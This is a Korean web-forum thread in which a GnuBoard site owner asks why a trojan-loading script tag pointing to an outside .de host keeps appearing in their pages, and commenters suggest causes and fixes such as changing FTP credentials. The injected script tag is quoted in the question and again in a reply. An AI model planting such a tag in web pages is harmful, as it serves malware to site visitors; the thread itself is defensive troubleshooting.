그누보드 head.sub.php 에 악성코드가...
웹사이트 상에서 트로이목마 바이러스가 검출되어 해당 페이지 소스를 열어보니..
아래와 같이 <script src=http://kellerkamer.de/images/impressum.php ></script>
소스가 들어 있더라고요.
그래서
그누보드 head.sub.php 에 악성코드가... 있는것 같아 열어보니...
그 페이지에는 해당 코드가 없는데...
어떻게 된건가요?.. ㅡㅡ;
악성코드 때문에 돌아가실 지경입니다. 해결하신 분들의 도움 바래요.
글 검색해 보니... 사이트 경로만 틀리지 질문 올리신 분들은 꽤 되시던데... 해결방법이 없네요.
도와주세요
아래와 같이 <script src=http://kellerkamer.de/images/impressum.php ></script>
소스가 들어 있더라고요.
그래서
그누보드 head.sub.php 에 악성코드가... 있는것 같아 열어보니...
그 페이지에는 해당 코드가 없는데...
어떻게 된건가요?.. ㅡㅡ;
악성코드 때문에 돌아가실 지경입니다. 해결하신 분들의 도움 바래요.
글 검색해 보니... 사이트 경로만 틀리지 질문 올리신 분들은 꽤 되시던데... 해결방법이 없네요.
도와주세요
|
댓글을 작성하시려면 로그인이 필요합니다.
댓글 7개
클릭 전쟁님 컴퓨터에 바이러스가 걸려서 그런 것입니다. ^^;;
다른 서버가 질문자님의 서버의 패킷을 읽어서 적절한 위치에 스크립트를 추가해서 재전송하는거죠.
임시방편으로 (되려나)
</script><!--
--><body topmargin ..
주석처리해보심이;;
님이 모르시는 <script> 파일들을 모두 찾아서 지우시고...
ftp 정보 변경을 해보시는게 좋을거 같습니다.
저같은 경우는 지워도 지워도 계속 생겨 나드라구요.. 즉 ftp 정보가 노출 됐다는거죠~~
그러니깐 제가 알려 주시는 데로 해보세요~~
<script src=http://kellerkamer.de/images/impressum.php ></script>
가 있을겁니다. 지우세요.
저도 당해봤습니다 하하하